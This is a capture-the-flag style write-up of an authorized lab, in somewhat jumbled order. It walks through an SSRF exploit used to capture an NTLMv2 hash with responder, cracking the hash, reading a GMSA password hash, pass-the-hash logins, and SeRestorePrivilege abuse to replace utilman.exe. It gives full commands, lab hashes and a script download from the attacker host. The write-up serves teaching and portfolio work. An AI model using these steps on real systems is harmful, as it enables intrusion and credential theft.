Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
In this lab, we will leverage a server-side request forgery (SSRF) vulnerability to retrieve an NTLMv2 handshake via responder. We will then exploit the privileges of two users to gain write permissions on the C:Windowssystem32utilman.exe binary and trigger system-integrity execution through RDP (Remote Desktop Protocol). This lab focuses on privilege escalation techniques and bypassing system integrity protections.
Scenario
This lab demonstrates exploiting a Server-Side Request Forgery (SSRF) vulnerability in a Flask web application to retrieve a Windows NTLMv2 handshake via responder. Learners will crack the password hash, leverage Group Managed Service Accounts (GMSA) to escalate privileges, and abuse the SeRestorePrivilege to overwrite utilman.exe with cmd.exe, achieving SYSTEM-level access via the RDP login screen. The lab highlights SSRF exploitation, GMSA manipulation, and creative privilege escalation techniques.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate open ports and services to identify the web application and its SSRF vulnerability.
- Exploit the SSRF to capture the NTLMv2 handshake using responder.
- Crack the NTLMv2 hash to obtain valid credentials for lateral movement.
- Retrieve the Group Managed Service Account password hash and authenticate as svc_apache$.
- Abuse the SeRestorePrivilege to replace utilman.exe with cmd.exe and gain SYSTEM access via RDP.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.170.165
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-18 18:26 -0400
Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 72.73% done; ETC: 18:29 (0:00:18 remaining)
Nmap scan report for 192.168.170.165
Host is up (0.019s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-18 22:28:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HEIST
| NetBIOS_Domain_Name: HEIST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: heist.offsec
| DNS_Computer_Name: DC01.heist.offsec
| DNS_Tree_Name: heist.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2026-06-18T22:29:47+00:00
|_ssl-date: 2026-06-18T22:30:26+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Not valid before: 2026-06-17T22:21:16
|_Not valid after: 2026-12-17T22:21:16
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
|_http-title: Super Secure Web Browser
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49783/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-06-18T22:29:47
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.38 secondsThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/heist]
# Attempt to recover a password from the captured hash material.
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
california (enox)
1g 0:00:00:00 DONE (2026-06-19 13:59) 100.0g/s 204800p/s 204800c/s 204800C/s 123456..lovers1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.- We found the password for
heist\enox:california
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
─(kali㉿kali)-[~/offsec/Tools]
# Execute the next evidence-gathering step in the authorized lab.
└─$ crackmapexec smb 192.168.173.165 -u enox -p "california"
SMB 192.168.173.165 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:heist.offsec) (signing:True) (SMBv1:False)
SMB 192.168.173.165 445 DC01 [+] heist.offsec\enox:californiaThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/Tools]
# Execute the next evidence-gathering step in the authorized lab.
└─$ evil-winrm -i 192.168.173.165 -u enox -p "california"
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method \`quoting_detection_proc\' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\enox\Documents> whoami
heist\enox
*Evil-WinRM* PS C:\Users\enox\Documents>This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users\enox\Desktop> cat *.txt
f66c85e8200edbdb8ce1eff462539c90
- Setup Flask Application for Secure Browser [DONE]
- Use group managed service account for apache [DONE]
- Migrate to apache
- Debug Flask Application [DONE]
- Remove Flask Application
- Submit IT Expenses file to admin. [DONE]This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users\enox\Desktop> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator enox Guest
krbtgt
The command completed with one or more errors.This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users\enox\Desktop> net user /domain
User accounts for \\
-------------------------------------------------------------------------------
Administrator enox Guest
krbtgt
The command completed with one or more errors.- As per
todo.txtmigrate to apache is not marked as done - Seeing how the web application is running as a local user enox, we can venture a guess that the developers are intending to change the application to run under the context of a service account instead.
- Lets see what other user's are on the machine
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2021 4:25 AM Administrator
d----- 7/20/2021 4:17 AM enox
d-r--- 5/28/2021 3:53 AM Public
d----- 9/14/2021 8:27 AM svc_apache$- We find the account svc_apache$. Judging by the trailing $ character, we know that this is a service account and probably the same account the developers are intending to use.
- Let’s see what groups this account belongs to.
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
*Evil-WinRM* PS C:\Users> Get-ADPrincipalGroupMembership svc_apache$ | select name
name
----
Domain Computers
Remote Management UsersThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users> Get-ADPrincipalGroupMembership enox | select name
name
----
Domain Users
Remote Management Users
Web Admins- The account we have taken over is in the Web Admins group. We can venture an educated guess that we might have some power over the Apache service account
Group Managed Service Accounts (GMSA)
- Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential. These service accounts are assigned automatically generated passwords. Given certain permissions, it is possible to retrieve these password hashes from Active Directory.
- To see what users or groups have permissions to do that for a given service account, we can look up the PrincipalsAllowedToRetrieveManagedPassword user property on the account
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
DistinguishedName : CN=svc_apache,CN=Managed Service Accounts,DC=heist,DC=offsec
Enabled : True
Name : svc_apache
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : d40bc264-0c4e-4b86-b3b9-b775995ba303
SamAccountName : svc_apache$
SID : S-1-5-21-537427935-490066102-1511301751-1105
UserPrincipalName :This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
*Evil-WinRM* PS C:\Users> $gmsa = Get-ADServiceAccount -Identity 'svc_apache$' -Properties 'msDS-ManagedPassword'
*Evil-WinRM* PS C:\Users> $mp = $gmsa.'msDS-ManagedPassword'
*Evil-WinRM* PS C:\Users> $mp
1
0
0
0
36
2
0
0
16
0
18
1
20
2
28
2
175
126
206
239
127
180
91
...Retrieving the ReadGMSAPassword Hash
- To retrieve the hash, we’ll use a publicly available tool GMSAPasswordReader.
- Let’s download it from GitHub to our attacking machine
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
*Evil-WinRM* PS C:\Users\enox\Desktop> dir
Directory: C:\Users\enox\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2021 4:12 AM application
-a---- 6/19/2026 11:25 AM 11292 20260619112545_BloodHound.zip
-a---- 6/19/2026 11:50 AM 105984 GMSAPasswordReader.exe
-a---- 6/19/2026 10:47 AM 34 local.txt
-a---- 6/19/2026 11:25 AM 7787 N2NkZDYyMzItY2UxZi00N2ZkLTg4ZmQtNThlNjJlZDQ1NzJh.bin
-a---- 6/19/2026 11:09 AM 1046528 sharp.exe
-a---- 5/27/2021 7:03 AM 239 todo.txt
-a---- 6/19/2026 11:09 AM 11187200 win.exe
-a---- 6/19/2026 11:13 AM 137992 win.txtThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
*Evil-WinRM* PS C:\Users\enox\Desktop> ./GMSAPasswordReader.exe --accountname svc_apache
Calculating hashes for Old Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : 73FB904DF1599735B9D0B3CC969FAC3C
[*] aes128_cts_hmac_sha1 : 6E3C699196F3D8CD023333F656DAA318
[*] aes256_cts_hmac_sha1 : 9B56C815A37F943DFDF477904D983FA5ADEEF3101931BC496F13419275810E0F
[*] des_cbc_md5 : 94B5011975EAF454
Calculating hashes for Current Value
[*] Input username : svc_apache$
[*] Input domain : HEIST.OFFSEC
[*] Salt : HEIST.OFFSECsvc_apache$
[*] rc4_hmac : AD580D1BA99F2167B14EC7DB4D3E0F9C
[*] aes128_cts_hmac_sha1 : 948AC08EE52E117368FD6E2CEC771D83
[*] aes256_cts_hmac_sha1 : 031595195375D0FE66DF2783398C289629BA1243604BA2EEC6EA3ABEDCF2C819
[*] des_cbc_md5 : E9B368D308FBDC58
*Evil-WinRM* PS C:\Users\enox\Desktop>- the tool retrieved the current RC4_HMAC password as
AD580D1BA99F2167B14EC7DB4D3E0F9C - Lets try pass-the-hash
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
└─$ evil-winrm -i 192.168.173.165 -u svc_apache$ -H "AD580D1BA99F2167B14EC7DB4D3E0F9C"
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami
heist\svc_apache$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
Get-Service | findstr -i "manual"
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "manual"} | select PathName,DisplayName,Name
## Access denied for all the aboveThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
heist\svc_apache$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
## We can also use the following **sc** command to confirm this is service is set to manual start; however, checking the registry does provide more detail.
*Evil-WinRM* PS C:\windows> sc.exe qc seclogon
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: seclogon
# Read the file contents for useful configuration or credential data.
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Secondary Logon
DEPENDENCIES :
SERVICE_START_NAME : LocalSystemOpen a New Terminal and type
rdesktop 192.168.173.165Press
Win+U
Initial Access
On Port 8080, there is a site hosted called 'Secure Web Server' which has a text box that takes a url as input
Trying a random website, we can see that it is adding the URL into the param called url
We will try to see if it can reach our server
Starting a python3 http server
It lists the directory contents, however does not open any files
This is a Server Side Request Forgery
Searching online we found this article Application Scan Identifies an SSRF Vulnerability; Penetration Test Finds Exploitation Attack Vectors
We will start responder and in the server, request for our responder IP
The final step on the left appears to require GUI, but there is mention of an alternative method on the right that can be accomplished entirely from a reverse shell.
For this attack we need to find to find a service that can be altered into a malicious one. Most importantly, the service needs to be a manual start service.
With this information, we can attempt to list out all of services that require manual start and then find one we can alter and make malicious; however, since we are not an admin user we will likely find that we do not have the required permissions to do this.
As expected, while attempting to list all manual start services with the following commands, we are presented with an Access denied message.
Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
(kali㉿kali)-[~/offsec/heist]
# Execute the next evidence-gathering step in the authorized lab.
└─$ sudo responder -I tun0
[sudo] password for kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[*] Tips jar:
USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
DHCPv6 [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
# Inspect the FTP service and retrieve accessible lab files.
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [192.168.45.164]
Responder IPv6 [fe80::9d1:1e84:6ab9:50ac]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-93A4IDVWW6I]
Responder Domain Name [7IZL.LOCAL]
Responder DCE-RPC Port [45003]
[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[+] Listening for events...
[HTTP] NTLMv2 Client : 192.168.173.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:c866eddf92f45c8a:7334954D0852E8FBFCE136CC1257CE15:01010000000000005BAFBD0C1500DD0168A649F579E490180000000002000800370049005A004C0001001E00570049004E002D003900330041003400490044005600570057003600490004001400370049005A004C002E004C004F00430041004C0003003400570049004E002D00390033004100340049004400560057005700360049002E00370049005A004C002E004C004F00430041004C0005001400370049005A004C002E004C004F00430041004C0008003000300000000000000000000000003000005E885D6EF0205EA9631890DD3F49613646C895717D4CDAEC9694535193F942620A001000000000000000000000000000000000000900260048005400540050002F003100390032002E003100360038002E00340035002E003100360034000000000000000000
[+] Exiting...This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users\enox\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\enox\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\enox\Desktop> dir
Directory: C:\Users\enox\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2021 4:12 AM application
-a---- 6/19/2026 10:47 AM 34 local.txt
-a---- 5/27/2021 7:03 AM 239 todo.txt- Nice! It looks like we have the ReadGMSAPassword privilege over the svc_apache$ service account (Figure 17).
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeRestorePrivilege Restore files and directories Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_apache$\Documents>SeRestorePrivilege Abuse
- The SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed-up files and directories, thus giving the user read and write access to system files.
- We will use the EnableSeRestorePrivilege.ps1 script to enable this privilege in our PowerShell session. Let’s begin by downloading it to our attacking machine
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
┌──(kali㉿kali)-[~/…/Tools/windows/PSBits/Misc]
# Run the helper or analysis script used in this lab step.
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.173.165 - - [19/Jun/2026 14:58:37] "GET /EnableSeRestorePrivilege.ps1 HTTP/1.1" 200 -This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
Evil-WinRM* PS C:\Users\svc_apache$> cd Desktop
*Evil-WinRM* PS C:\Users\svc_apache$\Desktop> dir
*Evil-WinRM* PS C:\Users\svc_apache$\Desktop> iwr -uri http://192.168.45.164/EnableSeRestorePrivilege.ps1 -OutFile EnableSeRestorePrivilege.ps1
*Evil-WinRM* PS C:\Users\svc_apache$\Desktop> dir
Directory: C:\Users\svc_apache$\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/19/2026 11:58 AM 3213 EnableSeRestorePrivilege.ps1
*Evil-WinRM* PS C:\Users\svc_apache$\Desktop> ./EnableSeRestorePrivilege.ps1
Debug:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TokPriv1Luid NewState,
int BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
Debug: Current process handle: 3004
Debug: Calling OpenProcessToken()
Debug: Token handle: 2524
Debug: Calling LookupPrivilegeValue for SeRestorePrivilege
Debug: SeRestorePrivilege LUID value: 18
Debug: Calling AdjustTokenPrivileges
Debug: GetLastError returned: 0
*Evil-WinRM* PS C:\Users\svc_apache$\Desktop>This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
## Fortunately, there are a few services that are known to have manual start permissions and that can be started by all users. Particularly, we are insterested in the **seclogon** service.
## Using the following command, we see the privileges that are required by the task (SeRestorePrivilege is listed), the object name (who executes the service = SYSTEM), and the start value (0x3 = manual):
*Evil-WinRM* PS C:\windows> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
Description REG_SZ @%SystemRoot%\system32\seclogon.dll,-7000
DisplayName REG_SZ @%SystemRoot%\system32\seclogon.dll,-7001
ErrorControl REG_DWORD 0x1
FailureActions REG_BINARY 805101000000000000000000030000001400000001000000C0D4010001000000E09304000000000000000000
ImagePath REG_EXPAND_SZ %windir%\system32\svchost.exe -k netsvcs -p
ObjectName REG_SZ LocalSystem
RequiredPrivileges REG_MULTI_SZ SeTcbPrivilege\0SeRestorePrivilege\0SeBackupPrivilege\0SeAssignPrimaryTokenPrivilege\0SeIncreaseQuotaPrivilege\0SeImpersonatePrivilege
Start REG_DWORD 0x3
# Read the file contents for useful configuration or credential data.
Type REG_DWORD 0x20
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon\SecurityTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.